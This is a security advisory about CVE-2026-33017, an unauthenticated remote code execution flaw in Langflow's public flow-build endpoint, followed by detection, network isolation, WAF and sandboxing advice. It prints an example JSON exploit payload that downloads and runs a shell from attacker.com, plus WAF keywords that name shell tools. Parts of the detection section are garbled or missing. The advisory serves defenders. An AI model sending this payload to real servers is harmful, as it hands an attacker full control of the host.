A critical unauthenticated remote code execution (RCE) vulnerability, CVE-2026-33017, has been discovered in Langflow, a popular open-source user interface for building AI applications. The flaw, reported by researcher Aviral Srivastava on February 26, 2026, allows a remote attacker to execute arbitrary Python code on a server running a vulnerable version of Langflow without any authentication. The vulnerability stems from an insecure use of the exec() function in a public API endpoint. Due to its simplicity and high impact, attackers were able to create and deploy exploits within 20 hours of the public disclosure, leading to active exploitation in the wild. This incident underscores the growing security risks associated with the rapid adoption of AI development tools and infrastructure.
The vulnerability resides in the POST /api/v1/build_public_tmp/{flow_id}/flow API endpoint. This endpoint is designed to allow the building of public flows without authentication. However, it improperly trusts user-supplied input.
An attacker can send a crafted HTTP request to this endpoint containing a malicious flow definition within the data parameter. This data, which includes Python code, is passed directly to a server-side exec() function without proper sanitization or sandboxing. This allows the attacker to execute any Python code they desire with the privileges of the Langflow application.
{
"data": {
"nodes": [
{
"data": {
"node": {
"template": {
"code": {
"value": "import os; os.system('wget http://attacker.com/shell -O /tmp/shell; chmod +x /tmp/shell; /tmp/shell')"
}
}
}
}
}
]
}
}
The Langflow development team has addressed the issue in a subsequent development version. Users are urged to upgrade to the latest version as soon as it becomes available and to restrict access to their Langflow instances in the interim.
The vulnerability is under active exploitation. Security researchers observed that exploits were developed and deployed by attackers, including botnets, less than a day after the researcher's public disclosure. This rapid weaponization is typical for critical, easy-to-exploit RCEs. This vulnerability is distinct from a previous Langflow RCE, CVE-2025-3248, but shares a similar root cause of unsanitized input being passed to a dangerous function.
Successful exploitation of CVE-2026-33017 grants an attacker full control over the underlying server, leading to severe consequences:
No specific public IOCs have been released, but any POST requests to the vulnerable endpoint from unknown sources should be considered highly suspicious.
POST requests to the /api/v1/build_public_tmp/ endpoint. Any such requests from untrusted IP addresses are strong indicators of scanning or exploitation.sh, bash), wget, or curl. This aligns with D3FEND's Process Analysis (D3-PA).Network Isolation (D3-NI).Updating to a patched version of Langflow is the most direct way to remediate the vulnerability.
Mapped D3FEND Techniques:
Not exposing the Langflow instance to the public internet is a critical compensating control that prevents exploitation.
Mapped D3FEND Techniques:
Running the application in a restricted environment can limit the damage an attacker can do even if they achieve RCE.
Mapped D3FEND Techniques:
The most immediate and effective countermeasure for CVE-2026-33017 is network isolation. Given that this is an unauthenticated RCE on a public-facing endpoint, organizations must ensure their Langflow instances are not accessible from the public internet. Access should be restricted using a firewall or security group to only allow connections from trusted internal IP ranges or through a secure VPN. This single action removes the initial access vector for remote attackers and serves as a critical compensating control until a patch can be applied. For any AI development tool or similar infrastructure, the default security posture should be internal-only unless there is an explicit and well-vetted business need for public exposure.
For organizations that must expose Langflow, deploying a Web Application Firewall (WAF) with specific rules to filter inbound traffic is essential. A WAF rule can be created to inspect POST requests to the /api/v1/build_public_tmp/* endpoint. The rule should look for and block requests where the data parameter contains suspicious Python keywords like import, os.system, subprocess, or eval. While not foolproof against all obfuscation, this signature-based filtering can block known public exploits and basic attack attempts, providing a valuable layer of defense against the active exploitation of CVE-2026-33017.
To contain the impact of a successful RCE, Langflow should be run in a sandboxed or containerized environment with minimal privileges. Using technologies like Docker or gVisor, the application can be isolated from the host operating system and the broader network. The container should have a read-only filesystem where possible, limited network egress capabilities, and run as a non-root user. This means that even if an attacker successfully exploits CVE-2026-33017 and achieves code execution, their actions are confined within the sandbox. They would be unable to easily access sensitive files on the host, install persistent backdoors, or pivot to other systems on the network, thus dramatically reducing the overall impact of the compromise.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
Help others stay informed about cybersecurity threats